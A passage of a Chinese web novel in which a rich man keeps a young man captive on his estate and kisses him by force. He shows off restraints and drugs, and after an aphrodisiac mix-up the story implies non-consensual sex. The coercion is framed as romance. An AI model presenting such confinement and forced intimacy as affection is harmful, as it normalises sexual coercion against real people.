可这次少年却没有被吓住,而是挣扎得更厉害了,仿佛铁了心地不让男人给自己包扎伤口:“我说了不需要,放开!别碰我,不准碰我,你这个变唔——” 未尽的话语被男人悉数封入了唇中。 对方的唇齿携着怒气,像是炙热的火焰一般,燃遍了陈悯之口腔的每一寸。 少年柔嫩的小舌.头被男人含在齿尖,又吮又咬,即使在盛怒下,男人的力道也控制得很精准,刚好在能让少年感受到一点刺麻的疼意,却又不至于太疼的地步。 他要让陈悯之记住这个教训。 陈悯之一只手被人抓着,就用另一只手拼了命的去推压在身上的人,结果就是两只手都被人抓住了,跟只被锁住爪子的兔子一样,只能被迫仰着脸被人从里到外亲了个遍。 直到他脸颊因为缺氧而漫上绯丽的红色,气都快喘不上来了,发了疯的男人才放开了他。 秦陌冷冷道:“从现在开始,你动一次,我就会吻你一次。” “绝不食言。” 吃到教训的陈悯之不敢动了,他现在明白了,秦陌就是个彻头彻尾的疯子,而现在人为刀俎他为鱼肉,秦陌暂时还没对他做什么,那只是因为他暂时不想,并不代表他不能。 少年跟只鹌鹑似的,缩着身体,让男人细致地给他把伤口消完毒,又动作轻柔地包扎好。 做完这一切,秦陌让人把热好的饭菜送了上来,还让人搬来了一张小桌子。 陈悯之以为他是要在这里吃饭,却见男人拿起碗筷,夹了几口菜,喂到他嘴边,冷声道:“张嘴。” 陈悯之顿时像是被雷劈得外焦里嫩,瞪大眼睛道:“你干什么?” 秦陌脸上表情倒是没什么变化:“你手受伤了,我喂你吃。” 陈悯之:“我只是伤了又不是残了,我可以自己吃。” 秦陌:“你不能。” 陈悯之:“我——” 他还想说什么,可看到男人忽然变烫的,含着某种欲.望的,盯着他嘴唇看的漆黑眼眸,又立刻闭上了嘴。 他实在害怕秦陌再亲他。 于是接下来的过程进行得很顺利,少年全程都很配合,男人喂一口他吃一口,乖得不行。 好可爱。 秦陌冷淡的唇角勾起极轻微的一抹弧度。 少年今天受了刺激,又折腾了这么久,他也没有再做什么,只道:“好好休息。” 然后便退出了房间,还堪称绅士地带上了门。 可当傍晚时分,秦陌再到房间里去叫人吃饭的时候,发现陈悯之又不见了。 他有些头疼地扶了扶额。 第37章 第 37 章 “怎么不摸了?”…… 37 陈悯之连行李箱都没带, 只带了手机和重要的身份证件,打算偷偷跑路。 他想这座庄园那么大,不可能只有一个出入口, 总有些看守薄弱的地方。 但他吭哧吭哧走了两小时, 一个出口都没找到不说,还把自己累得大喘气。 陈悯之又试图找一些可能存在的狗洞, 大丈夫能屈能伸,为了自由钻个狗洞不算什么,出去后又是一条好汉。 他沿着庄园最外围的铁栅栏寻找,为了隐私性,这里的草木被养得很繁盛,能够很好遮挡从围墙外窥探进来的视线,但也同样, 为陈悯之寻找狗洞的工作增加了很大难度, 他不得不一直弯着腰,拨开挡在前面的长草和灌木,才能看清楚墙上到底有没有洞。 期间有好几个佣人路过, 问他在找什么, 需不需要帮助。 陈悯之连忙礼貌地摆摆手说谢谢不用了。 他不知道, 在他离开后,几个佣人的对话是这样的: “小先生到底在干什么?我看他绕着墙晃悠大半天了。” “还叫小先生呢?我看过不了多久就要改口叫小夫人了。” 女佣睁大眼睛:“你在说什么啊?这不是少爷带回来的朋友吗?” 另一人恨铁不成钢地点了下她的额头:“你的榆木脑袋什么时候能聪明一点?你也不想想, 少爷孤寡了那么多年, 你什么时候见他带过朋友回来?更别说这次少爷和小先生闹了矛盾, 少爷直接下令把人给关起来了, 你见过对朋友这样的吗?” 她斩钉截铁道:“我看小先生鬼鬼祟祟的,多半就是在想法子逃跑。” 女佣目瞪口呆了好一会儿,才愣愣瞌瞌道:“那少爷这是要金屋藏娇?” 她脸上露出惋惜又怜爱的神色:“真可怜, 倒是个难得一见的美人,可少爷既然喜欢人家,怎么就不能好好地追人呢?他的家世外貌样样都不差,只要用心追,一定能打动小先生的。” 另一人道:“怎么就一定了?人民币都还有人不喜欢呢,万一人家就不喜欢咱家少爷这一款呢?” “你没发觉少爷早在上个月,就已经下令加高围墙和安装信号屏蔽器了吗?还加派了安保的人手,多半是早就等着这一天了,小先生要是和他两情相悦,他至于把自己家装成个笼子?” 女佣又多愁善感起来:“那这么看少爷也挺可怜的,从小爹不疼娘不爱,动不动就要关他禁闭,让他长成了这种孤僻的性格,连个朋友也没有,长大了老婆也不喜欢他” 另一人没好气:“可怜什么?他们有钱人都是变态,没一个好东西,我倒希望小先生早日逃出去才好。” 两个人看着不远处还在埋着脑袋,很认真地寻找狗洞的少年,摇摇头走远了。 * 陈悯之又费劲巴拉地寻寻觅觅两小时后,终于不得不放弃找狗洞逃跑这条路。 真是奇了怪了,外墙上的每一根栅栏都崭新得像是才装上去一样,每一根都比他手腕还粗,至于每条栅栏之间的缝隙,别说探头出去了,连伸只胳膊出去都困难。 天色渐渐暗了,陈悯之从庄园中间的别墅出来,不知道在外面饶了多远,自己都找不到回去的路了。 不过他也压根就不想回去,就算暂时出不去,一个人在外面躲着也比回去面对秦陌要好。 他实在害怕秦陌再亲他,更害怕秦陌像之前在小巷子里那样,把他眼睛蒙起来,撩开他的衣服咬他的胸口。 陈悯之肚子饿得咕咕叫,却不愿意回去和秦陌一起吃饭。 不用想都知道,晚饭男人一定又会像中午一样喂他。 以他们现在已经破裂的关系,这种亲密举动带来的怪异感倒在其次,更令陈悯之接受不了的是喂他吃饭时男人看向他的眼神,温柔宠溺得像是在对待情人,看他把饭吃干净了,男人眼里还会出现一种欣慰和满足,好像喂他吃饭,是一种十分令人愉悦的事情。 可那眼神在陈悯之看来只觉得毛骨悚然,他感觉自己像是被农场主豢养起来的猪,只等喂肥了好被主人享用。 走着走着,陈悯之不知不觉来到了一处较为偏僻的地方。 视野里伫立着一幢小洋房,比起他们住的那幢别墅要小上很多,并不那么豪华,但看起来精致漂亮。 陈悯之走过去推了推门,发现门没锁。他四下望了一圈儿,周围都没人看见他,于是他从门缝钻进了房子里。 进屋关上门后,陈悯之心中稍稍有了一点安全感。 惹不起他还躲不起吗,他打算就在这里躲到晚饭时间过去,或者直接等到秦陌平时上床睡觉的时间过了再回去。 左右无聊,他便在屋子里四处逛了逛。 室内都是一些寻常的家具陈设,没什么特别的,只有一道向下的阶梯引起了陈悯之的注意。 这道阶梯通往一个地下室。 小洋房内装修得十分温馨,连卧室门都是漂亮的红木,可这间地下室却装的是铁门,看上去坚硬又冰冷,和整座屋子里的装修氛围格格不入。 甚至,因为通往地下室的台阶上方没有灯,只有走廊的灯光投过来一点,显得有阴森。 陈悯之有些害怕,但又实在好奇,便大着胆子走下去,试着推了推地下室的门。 没推动。 铁门倒是因为感应,门锁处亮起了蓝光。 是个智能门锁,应该要指纹才能解锁。 不知为何,陈悯之松了一口气。 他想起了陆承轩家里那个密室。 但就在他准备原路返回的时候,身后忽然传来一道声音:“想进去?” 陈悯之骤然吓得快跳起来。 他转身看着不知何时出现在他身后的男人,瞪大眼睛:“你什么时候来的?” 秦陌:“刚刚。” 男人脸上并没有太多表情,但他身形高大,在狭窄的楼梯间,即使什么也不做,也显得压迫感十足。 陈悯之下意识往后退了退:“这里,这里是什么地方?” 秦陌:“我的收藏室。” 陈悯之松了口气,那应该是这种大户人家放藏品的地方吧,并不是人人都陆承轩那么变态的。 秦陌:“要进去看看吗?” 陈悯之:“不了。” 可秦陌却淡淡道:“进去看看吧,你迟早要看到它们。” 听到这话,陈悯之心中不知为何生出一种不太好的预感。 什么叫做他迟早要看到它们? 秦陌走上前,将拇指摁在门锁的指纹识别器上,滴答一声打开了锁。 男人握着门把手,回过头,视线淡淡落在他身上:“进来吧。” 陈悯之跟着走了进去。 可当灯光亮起的那一刻,他的脸倏地白了。 他看到了满屋子的道具,皮.鞭,锁.链,腿.环,吊环,带有绒毛的软绳、八爪椅还有许多他根本不认识,连名字都叫不出来的东西,密密麻摆满了整间屋子。 陈悯之一身寒毛倒竖,本能在身体里尖叫,让他赶快逃离这间让他感到极度危险的屋子,可腿脚却不听使唤,僵硬得像是被钉在原地,一步也动不了。 秦陌上前几步,抬手向他伸过来。 这样简单的一个动作,少年却如同惊弓之鸟,吓得羽毛都在簌簌发抖:“你做什么!” 可男人的手掌停顿一下,只是温柔地落在了他脸上,安抚一般摸了摸他的脸庞:“别害怕,这些东西,我原本是打算用在你身上的,但后来,我改变主意了。” 陈悯之怎么可能不害怕,他怕得发抖,但后退两步,还是颤着声音问:“原本?” 秦陌收回手,神色变得有些漠然:“嗯,如果当时,你答应了卫殊的告白的话。” 陈悯之瞪大眼睛,尽管有了一定心理准备,眼前的一切仍旧荒谬得让他不敢置信:“你是说要是当时我答应了卫殊,你就要把我带到这里,用这些链子把我锁起来?” 秦陌面无波澜:“是的。” 如果当时陈悯之答应了,他会直接把人绑回来,关起来,然后用他精心挑选的道具惩罚这个处处留情的小骗子,质问他明明喜欢女生,为什么还要答应男人的告白。 但幸好,这只笨蛋兔子在这方面还算是聪明,没有做出真正惹怒他的事情。 陈悯之看着秦陌这幅理所当然的模样,再也受不了,抄起手边的东西就朝他砸了过去:“变态!你这个变态!” 扔出去之后,他才看清楚那是一根皮.鞭。 细长的鞭子抽到男人脸上,很快,那冷白皮肤上便浮现出一道红肿的鞭.痕。 骤然挨了抽,秦陌神色却很平静:“悯悯生气的话,可以打我。” 顿了顿:“或者像之前在静水山庄那样,扇我巴掌也可以,我不会还手,也不会生气。” 陈悯之简直就跟被雷劈中了一样,震惊得说不出话来。 怎么会有人主动要求别人扇自己巴掌啊?! 他气得胸口起伏,却又骂不出什么具有杀伤力的话来,只能重复着之前的词汇:“谁要扇你了!变态!离我远一点,不准过来!” 但少年叫得再怎么凶,在男人眼中也不过是看起来张牙舞爪,实际上毫无威慑力的小动物罢了,非但不能吓到人,还让人觉得可爱。 太可爱了。 秦陌想着。 现在就想把他按在这里亲。 但看少年一副已经快炸毛的样子,他终究还是没有这么做,而是走上前,牵住了陈悯之的手。 陈悯之挣扎了两下,把自己手腕都扭疼了也没挣脱开,只好放弃了。 秦陌牵着他,将他带到了角落处的一扇小门前。 秦陌:“打开它。” 陈悯之挣扎着往后缩:“我不要。” 在看过这个房间里的东西后,他现在已经不太想知道另一扇门背后是什么了。 秦陌:“你确定?” 男人神色认真地思索一会儿,道:“既然是要做恋人,还是坦诚相待为好,所以悯悯,有些东西,我并不想瞒你。” “谁要跟你做恋人——” 陈悯之还在徒劳地挣扎,可男人已经握着他的手,不容拒绝地和他一起推开了那扇门。 自动感应灯亮了起来。 这是一间很宽敞的衣橱,中间是过道,两旁则是透明的玻璃橱窗,里面挂着各式各样的,五颜六色的衣服。 这些衣服件件款式华丽,做工精致复杂,看上去金贵又漂亮,可陈悯之却生不出一点儿欣赏的心思来。 因为这些衣服,全都是给女孩子穿的洛丽塔洋装! 三层荷叶领的中古款衬衫、印有兔子图案的蛋糕蓬蓬裙其中还有一套衣服被挂在一个单独的橱窗里,赫然是陈悯之之前在会所穿的那套洛丽塔王子装。 看到这里,陈悯之不敢置地睁大了眼睛:“你当时明明说你把它扔了!” 秦陌:“嗯,我一看见这套衣服,身上就会出现一些难以自控的反应,所以,我将它扔进了地下室里。” 扔进地下室里这就是秦陌所说的扔了? 诡辩!就和秦陌之前说只是喜欢他这个人不是喜欢男人一样,全都是诡辩!骗子!这个大骗子! 陈悯之气得连话都说不出来,眼睛红红的,比起生气,倒像是可怜更多一些。 男人低下头,安抚似的在他眼皮上亲了一下,又牵着他往前走:“乖,还有第三间。” 看过前两间后,陈悯之以为自己接下来看到什么都不会再惊讶了,但当他看到摆满了四面墙的药品后,脸上还是浮现出愕然。 他愣愣地问:“这么为什么会有这么多药” 但不等男人回答,陈悯之想起之前在会所被人下药的经历,难得脑子灵活地反应过来什么:“这些不会是” 秦陌语气平静道:“是的,就是你想的那种药。” 少年的脸一下就白了。 秦陌像是一位尽职尽责的向导,继续介绍道:“不过,和外面那些药物不同,这里的药物都只是作为助兴用,很安全,不会对你的身体造成任何伤害。而且,比起你想象中的那种单一效果,这里的药物作用更丰富一点,有的可以让你发.情,有的可以把你迷晕,还有的可以延长你的高.潮时间” 他还没说完,陈悯之已经崩溃地打断:“够了!别说了!” 秦陌抬手抚上少年微微颤抖的脸颊,温和道:“悯悯不用害怕,我暂时不会把这些东西用在你身上,包括前面两间屋子里的东西,只要你不想,我不会强迫你。” 但已经上过好几次当的少年,显然已经不再相信他的话了:“骗子!你准备这些东西不就是为了用吗!还在这里装什么好人!” 还说什么暂时,那意思不就是以后还是会对他用!骗子 !道貌岸然的伪君子! 秦陌叹了口气,好像对自己娇蛮又不讲道理爱人觉出了一丝无奈:“悯悯,我没有骗你。” 他抬起少年的手,温柔地在那雪白手背上落下一吻:“我在追求你,我会等你,等到你心甘情愿为我穿上裙子的那一天。” “你做梦!” 少年不知哪儿来一股力气,猛地甩开他的手,头也不回地跑走了。 * 之后的几天,陈悯之都表现得有些意志消沉。 他看上去像是真的被打击到了,又或者是真的被地下室里那些东西给吓到了,这几天都不再像第一天那样到处乱跑,试图从这座笼子里逃出去,也不再像一开始那样和男人对着干,男人给他喂饭他就乖乖张口,男人给他清理伤口他就乖乖伸手,乖得不行。 连今天吃完晚饭后,秦陌提出的一起看电影的邀请,他都破天荒的答应了。 就好像是已经认清了自己笼中鸟的处境,知道只有顺从才会让自身好过一点。 但再笨的兔子,当遇到致命的危险时,也会本能地露出狡黠的一面。 虽然这几天下来,秦陌的确是一副很守礼的样子,没有对他做出什么,最多也就是轻轻在他唇角吻一下,但陈悯之知道,这种看似安全的日子不会持续太久。 任凭表现出来的模样再温和,凶残的捕食者将猎物叼回窝里的目的也只有一个——那就是吃掉。 不跑,就只有任人宰割。 陈悯之看着佣人手里端着的,准备送往电影室的饮料,说:“给我吧。” 佣人忙不迭道:“小夫人,这些事情我们来就可以了。” 是的,就在几天前,这些佣人对他的称呼无一例外地从“陈先生”变成了“小夫人”,不用想都知道是谁的授意。 但陈悯之现在也不计较这些了,因为,他的计划马上就要实行了。 他答应秦陌看电影的请求后,男人似乎很高兴,煞有介事地从衣柜里挑选出一套奢牌的西服,然后就去了浴室洗澡。 明明只是在别墅里的私人电影室看电影,男人却仿佛将其当成了一场郑重的约会。 陈悯之心里觉得好笑,但秦陌洗澡的这段时间,是他唯一的机会。 他尽力让自己的表情不露破绽:“给我吧,他不是说了,让你们都不要上去打扰吗。” 佣人想,主人的确吩咐过让他们没事不要上去打扰,但那是观影开始后,现在主人和小夫人都还没开始看电影呢 但见陈悯之坚持,他还是把饮料递了过去。 陈悯之端着饮料上楼,然后迅速来到自己卧室里,从床头柜里翻出了一瓶药。 这瓶药是他趁着前天秦陌出差,偷偷跑到地下室里拿的。 他记得秦陌说过,这些药物里面有能够把人迷晕的药,可真当他第二次去仔细观察的时候才发现,这里的药物都是进口的,上面印着的不是英文就是其它他看不懂的语言,陈悯之翻了好一会儿,才翻倒一个药瓶上写着“Sleep”字样,应该就是那种能把人迷晕的药了。 陈悯之英语不好,但药瓶上“one pill each time(一次一片)”的字样还是能看懂,不过他怕一片的药效不够,直接往饮料里加了三片。 他的计划是先通过迷药把秦陌药倒,然后偷秦陌的车钥匙去开车。 他知道秦陌的车都是单向玻璃,外面的人看不见坐在里面的是他,而看守的保镖看见是秦陌的车,肯定不会阻拦,这样他就可以顺利逃出去了。 一切都进行得很顺利,秦陌对他一点儿都不设防,毫不犹豫地把他递过去的饮料喝下去了,喝完还对他温柔地笑了笑,似乎心情很愉悦。 一分钟后,男人倒在了观影室宽大的沙发上。 陈悯之伸手在沉睡着的男人眼前晃了晃,试探着叫了几声:“秦陌?” 男人闭着双眼,没有一点儿反应,睡得像一个死了的变态。 陈悯之放下心来,迅速爬到男人身上,伸手四处摸索车钥匙。 摸完衣服外兜,没有。 裤子外兜,也没有。 撩开西装外套摸里面的内兜,还是没有。 陈悯之最后把男人一身整整齐齐的西服扯得乱七八糟,衬衫纽扣都扯散了,还是一无所获。 他在这时才猛然一拍自己的脑袋。 他怎么忘了秦陌今天是专门换了套衣服的,而且说起来,他们这种富家少爷应该不会把车钥匙随身带着 该死,他怎么就没注意秦陌平时回来是把车钥匙放哪儿的!要是放在卧室里还好,要是秦陌是交给管家保管的话就麻烦了 不管了,先去秦陌房间里找找吧,秦陌有那么多辆车,只要找到一把车钥匙他就能逃出去 时间紧迫,陈悯之不再犹豫,挪动着手脚从男人身上下来,而就在他要站起身的那一刻,他的手腕忽然被一只宽大手掌握住。 昏暗的光影中,男人低沉沙哑的声音如同鬼魅般响起: “怎么不摸了?” 第38章 第 38 章 真男人不怕被男人睡。…… 38 男人的手掌很温热, 触碰到皮肤的感觉并不让人难受,可陈悯之却觉得仿佛被阴暗黏腻的毒蛇缠上了,浑身发毛。 他僵硬地缓缓转过头, 呆愣愣地看着躺在沙发上, 掀开眼皮望向他的男人。 在极度的紧张下,他的语言系统都变得十分迟滞:“你你不是睡着了吗?” 为什么他明明下了三片药啊, 而且饮料也是他亲眼看着秦陌喝下去的,在这么短的时间内,秦陌压根不可能醒过来才对到底是哪里出了问题? 比起他的慌张失措,男人显得十分游刃有余,不慌不忙地从沙发上撑起身,面露思索:“是吗?可是,悯悯给我下的药似乎不太对劲呢。” 男人一向漆黑的眼睛, 此刻竟染上了几分不正常的猩红:“我现在, 不仅不困,还觉得身上很热。” 秦陌怎么可能不知道陈悯之的小动作。 就陈悯之那张单纯好骗的脸,根本就藏不住事儿。 早在两天前, 秦陌就已经在少年脸上看见那种有点心虚, 但又极力掩藏的窃喜, 少年意志消沉不过两天,就仿佛又对生活重新充满了希望。 然后秦陌就调来了这几天的监控, 从监控里捕捉到了陈悯之鬼鬼祟祟溜进地下室的身影。 他是故意喝下那杯饮料的。 这是他亲爱的恋人送给他的礼物, 他怎么能拒绝。 陈悯之神情呆滞地望着男人, 即使他思维再迟缓, 此刻也反应过来,他这是拿错药了。 而男人接下来的话印证了他的想法:“悯悯给我下的药,似乎并不是致人昏睡的, 而是催.情的。” 陈悯之脸上“唰“地一片惨白。 对上男人翻涌着欲.望的眼眸,他像一只反应迟缓的兔子,终于嗅出了一丝危险的意味,撒腿就想跑,却被男人攥着手腕,一把拖了回来,反压在沙发上。 观影室的沙发做得十分宽大,但毕竟是沙发不是床,要躺下两个大男人,还是显得有些逼仄了。 男人身形高大,肩宽背阔,几乎完全覆盖住了下面身材纤瘦的少年,修长四肢如同张开的蛛网,牢牢锁住了自身捕获的猎物。 秦陌没有中过这种药,饶是有了心理准备,身体实际上的反应也远远超出了他的预期。 他原本只是想要逗一逗少年,怀揣着恶劣的心思想要吓一吓他可爱的笨蛋恋人,最多也就是抱着亲一亲而已,但现在,他觉得自己似乎有些失控了。 身体的反应比他预想中要剧烈得多,他浑身都像是有火在烧,从心脏到皮肤,从里到外都变得干渴,而这种干渴并不是喝水能够解决的,因为干渴之中又燃烧着一种极度的空虚感,让他疯狂地想要破坏、侵.入、占据什么,以此来将这具空荡荡的躯壳填满。 而被他压在身下的少年还对这一切毫无所知,依然像只被惹怒了的小动物,手脚并用,在他怀中疯狂踢蹬着:“放开!放开我!变态!” 秦陌紧紧盯着他,喉结滚动几下,声音里仿佛带着极度的克制,沙哑得可怕:“悯悯,你放了几片药?” 陈悯之挣扎的动作停下了。 因为他感受到了一些不寻常的变化。 他像只被强大的肉食动物抓住,等待着被捕食者的尖牙咬下第一口的兔子,声音小小的,战战兢兢道:“三三片” 秦陌气息粗重,捏着少年手腕的指节紧绷到泛白。 “疼、你捏疼我了”陈悯之几乎是瞬间就被逼出了眼泪。 可男人的力气并没有收敛半分。 要是在往常,即使要控制住挣扎中的少年,他也会注意控制自己的力气,不会把人弄疼。 但现在,秦陌光是控制住自己不要做出什么暴行,就已经用尽了他全部的理智。 陈悯之望着男人幽深的,燃烧着深暗情.欲的眼睛,终于后知后觉地感受到了害怕,他抖着唇瓣,颤颤巍巍叫道:“秦陌你,你清醒一点” 他扭动着身体,在男人身下小幅度地挣扎着,像那种想要逃跑,又害怕把凶恶的捕食者给惹怒了的弱小猎物。 少年努力地弯着腰,试图从男人手臂和胸膛之间的缝隙里钻出去,却感到炙热的温度落在了他的腰上。 头顶传来男人阴沉的声音:“别动。” 陈悯之不敢动了。 他转动着一双乌溜溜的眼睛,惶惶然去瞅男人。 平日里冷静自持的人,在过量药物的作用下变成了失去理智的野兽,秦陌视线牢牢锁在身下人身上,眸光已不复最初的温柔缱绻,而是变得有些阴狠。 他仿佛一只处于发.情期的雄兽,对配偶的渴望与独占欲达到了顶峰,配偶试图逃跑的行为显然激怒了他,将他本就残存不多的理智消耗殆尽。 秦陌只觉得仿佛有一团火在身体里流窜,疯狂地撞击着他的五脏六腑,然后我也不知道为什么审核要把这句什么都没写的东西锁了。 他用尽最后一丝理智,声音嘶哑地道:“抱歉,悯悯,你放得太多了。” “什——”陈悯之瞪大眼睛,还没来得及问这话是什么意思,男人已经如同一只彻底被本能控制的兽类,凶狠地吻住了他的唇。 少年柔嫩的唇瓣被撬开了,被男人粗粝的舌.头恶狠狠地侵.犯进去,放肆而疯狂地纠缠。 这个吻比上一次陈悯之因为不好好上药被男人惩罚亲吻的那次粗暴得多,也情.色得多,烫热又粗大的舌.头舔.遍了他口腔的每一寸,锋利齿缘咬着他的舌.头,迫使他合不上嘴巴,也不敢有太大挣扎的动作,生怕一挣扎,脆弱的舌.头就被人咬坏了。 但这种害怕在男人眼里无异于顺从,面对不再逃跑,反而十分温顺的配偶,失去理智的男人也变得温柔了许多,在最初的粗暴过后,他亲吻的动作变得温柔起来,含着少年柔嫩的唇瓣辗转舔.吻,却也变得更贪婪,喉结不停地上下滚动着,吃干净了少年嘴里每一滴甘甜的水液。 “唔够、够了!” 陈悯之嘴巴被亲得发麻,开始伸手去推拒身上的男人。 他想着秦陌变成这样毕竟是因为自己下的药,那他给秦陌亲一亲缓解药性好了,但最多也就到这一步了,秦陌、秦陌又不是不会,他可以自己解决的。 但事情的发展与他想象中的恰恰相反,在亲吻他过后,秦陌身上的药性非但没有缓解,反倒如同一只尝到了甜头的兽,双目变得更加猩红,里面浓烈而滚烫的欲.望几乎要化作实质。 秦陌撑在他身体上方,死死盯着他,声音嘶哑得可怕:“不够。” 远远不够,他还想要更多、更多。 “什么”意识到事件脱离掌控,陈悯之惊慌失措地想要逃离,却在下一刻被男人一口咬住了脖子。 宛如大型猛兽叼住自己的猎物,又像是雄兽充满占有欲地在自己的配偶身上留下标记,男人用齿尖咬着他细嫩的脖颈,粗粝舌.头在光滑皮肤上舔.舐着,力道不大,并不让人感到疼,却足够有威慑力,也足够地暧昧。 够了过了,太过了 “停下,不准亲、不准亲了!” 陈悯之拼命挣扎着,却怎么也挣不脱已经失去理智的男人,他咬着唇,只觉得羞愤又屈辱,终于忍无可忍地抬手扇了出去。 “啪——” 清脆的巴掌声打断了男人的亲吻。 秦陌从少年雪白的脖颈间抬起身,瞳色深黑,如同浓稠得化不开的墨。 陈悯之见他脸上疯狂的欲.望褪去了一些,以为他是终于变清醒了,忙挣扎着说:“醒了就快点放开我。” 可下一刻,秦陌忽然握住了他扇巴掌的那只手,低头在他手心舔.舐起来。 陈悯之不敢置信地瞪大眼睛:“你干什么!” 他拼命想要抽回手,对方的力气却如同铁钳一样,他力气用得再大,非但挣脱不了,还只会把自己弄疼。 男人烫热又湿润的舌.尖滑过手掌,然后是白皙漂亮的手背,男人如同一只贪婪的犬类,将他手心手背每一寸都舔.遍了,湿嗒嗒的仿佛沾染上了属于男人的气味。 陈悯之又羞又气,气得说不出话来,却在下一刻对上秦陌抬起来的眼睛,他惊恐地发现,挨了这一巴掌后,男人非但没有清醒,反倒变得更兴奋了。 他听见秦陌说:“宝宝可以再用力一些。” 脸上已经顶着一个通红巴掌印的男人,却仿佛将其当成了奖赏似的,神色愉悦而餍足:“最好能够把我打痛一点。” 后面的内容被审核大人删啦,我也很想放出来的,要是我真写了什么你锁我我认,问题是从一开始我就除了接吻什么都没写,脖子以下都是直接拉灯的,还是要这样折磨我,我现在想死,我也没有办法了。 * 清晨的阳光落在少年脸上,为那张脸笼上一层淡淡的光晕,少年本就柔软的五官,在阳光下显得愈发柔净美丽。 坐在床边的男人,一时间看得有些出神。 他的视线落在少年裸.露在外的雪白脖颈上,只那露出的一小截皮肤,上面就已经布满了青红交错的吻痕,而被子下面掩盖着的,只会比露出来的更多。 男人眼底浮现出一抹歉疚和无措,但更多的,却是一种欲.望得到满足后的平静与餍足,像是吃饱喝足后的大型猛兽,眼角眉梢都透露着愉悦。 这个人是他的了。 一想到这点,秦陌的心脏就像是被温水填满,饱胀又满足。 他俯下身,在昏睡的少年唇上轻轻落下一吻。 比起昨日的激烈,这个吻轻柔得像羽毛,不含一丝欲.望,只有温柔到极致的爱意,但少年显然睡得不是很安稳,即使这样轻的动作也让他皱了皱眉,仿佛察觉到什么危险一般,挣扎着从梦中醒了过来。 刚刚睡醒,陈悯之的眼神茫然了几秒钟,然而当看到坐在床边的男人时,他整个人如同看到天敌的兔子,立刻警戒起来。 他手忙脚乱地坐起身,用被子把自己裹成一团,缩在墙边,后背紧紧靠在床头的靠背上,一双乌黑圆润的大眼睛戒备地盯着男人。 也不说话,就这么看着,好像生怕男人下一刻又扑上来把他吃了。 秦陌清了清嗓子:“饿了没?要不要吃点粥?还是先喝水?” 早餐和温水早就准备好了,放在床边的加热垫上,一直温着,就等着少年醒了就能马上吃。 陈悯之把围着自己的被子紧了紧,不说话。 少年就像是用被子给自己筑巢的小动物,好像这样能更有安全感似的。 秦陌被这一小动作可爱到了,很想把他的“新婚”妻子从被窝里抱出来亲两口,但考虑到少年此刻不能受刺激,还是忍住了。 秦陌:“先喝水吧,你昨晚叫得太厉害,今天嗓子可能会不舒服。” 然而当他把水杯递过去,喂到少年嘴边的那一刻,一直沉默着的少年忽然一把掀翻了杯子,凶巴巴地冲他喊道:“滚!” 水洒了男人一身,还有一部分溅到了少年脸上,和印着吻痕的脖颈上。 秦陌收回手,却没去擦身上的水渍,而是从怀中摸出一张干净的手帕,想要先替少年把脸上的水擦了。 但他看了一眼已经有些应激的少年,还是没有再试图去触碰他,只是把手帕递过去:“擦擦吧。” 少年看了眼那张手帕,没接,只是红着眼睛,用一种很气愤的眼神瞪着他。 秦陌低下眸:“对不起。” 陈悯之恨恨盯了他两眼,才终于说出了今天的第二句话:“对不起有用吗!” 就算秦陌说一千个一万个对不起,他现在还不是还不是已经被男人给睡了! 秦陌看了他一会儿,声音低哑:“悯悯,我为我昨天所做的,向你道歉。但我不会为此后悔,如果重来一次,我依然会这么做。” 陈悯之瞪圆了眼睛,不敢相信竟然有人犯了错还能如此地理直气壮,这算什么道歉!不过就是再对他强调一遍,如果重来一次,秦陌还是会把他睡了而已! 陈悯之忍无可忍,抄起手边的杯子就对男人砸了过去:“你连道歉都不是真心的!滚!” 秦陌不躲不避地挨了这一砸,任凭玻璃杯在他头上磕出响声。 他看着发怒的少年,语气沉稳而坚决:“悯悯,我对你的心意绝无半分虚假,我会对你负责。” “你怎么负责!”陈悯之吼道,顿了两秒反应过来,“不对,谁要你负责了!” 那就是说他不要秦陌为昨天的事负责,好像也不太对 正在陈悯之闷着脑袋想到底怎么说才对时,他听到男人郑重的声音:“和我结婚吧,悯悯。” 陈悯之一愣。 下一刻,他更生气了:“谁要跟你结婚了!同性恋婚姻是不合法的,你不知道吗!” 秦陌:“我们可以去国外领证,英国,芬兰,爱尔兰,丹麦你想去哪个都可以。” 男人沉思一会儿:“蜜月的话,也由你来定,不过要等到先在国内办完婚礼。” 陈悯之睁大了眼睛,他觉得秦陌是疯了,疯得听不懂人话,要不然他怎么会完全没办法和他沟通。 “闭嘴!” 再说下去,他怕秦陌连孩子名儿都要取好了。 “结什么婚!我这辈子跟谁结婚都不可能跟你结婚的!滚!” 听到后面那句话,秦陌原本温柔的脸色变得有些冷,道:“悯悯生气的话,可以打我,但不要说一些不该说的话。” 陈悯之下意识往后缩了缩,其实在力量差距过于强大的猎食者面前,他再怎么凶,也不过是虚张声势,说到底不过是借着男人对他的爱意恃宠而骄罢了——如果那样疯狂而扭曲的感情也能称得上是爱意的话。 恃宠而骄,想到这个词,陈悯之蓦的觉得有点心酸。 如果可以,他压根就不想要这样的“宠爱”。 他看着男人冷下来的脸色,实在怕男人又说出什么,如果再说不该说的话就要亲他之类的话,或者,更过分一点,说要操.他之类的。 但所幸,刚刚吃饱喝足后的雄性,对待他娇弱的配偶,到底也没有陈悯之想象的那么苛刻,男人握住他的手,很温柔地亲吻起他的手背来。 “打吗?”秦陌握着他的手,拇指在他手背上轻轻抚.摸着。 陈悯之一愣:“什么?” 秦陌:“悯悯生气了,要打我巴掌吗?” 陈悯之瞪圆了眼睛,眼珠子都快要瞪出来了,他实在不明白,为什么会有人求着人扇自己巴掌。 他看着男人脸上温柔又带着些期待的神色,浑身起鸡皮疙瘩,猛地抽回自己的手:“你又发什么疯!你是有什么受.虐倾向吗?!” 听到他的话,秦陌竟然还仔细思索了一会儿,然后才神色认真地说:“应该没有。” 因为小时候父母打他,他感受到的只有疼痛,并没有快.感。 只有悯悯 秦陌回想起陈悯之第一次扇他巴掌时的感觉。 那是一种很微妙,很难以形容的感觉,少年的手很软,扇过来时都是先闻到一阵香气,而且少年力气小,扇在脸上并没有多疼,反而带起一种过.电似的酥.麻感,非要说的话,有点类似于在某些时候达到顶峰的前一刻,但感受远不及那时候刺.激。 但怎么说呢,如果说到达顶峰的感觉是大餐,被扇巴掌的这种快.感就就有点像是零食,吃不饱,但一直勾着人,吃了还想吃。 思索出结论后,秦陌看着陈悯之,脸上是一种做学术研究时的端正:“悯悯,我只对你的巴掌有感觉。” “被你扇的话,我会感到愉悦。” 陈悯之震惊到连话都说不出来了,他到此刻终于明白,正常人跟变态是没法沟通的,他再也受不了了,翻身下床,打算停止和这个变态共处一室。 但刚刚坐着还没觉得,猛地一翻身,某处就疼得陈悯之嘶嘶抽气。 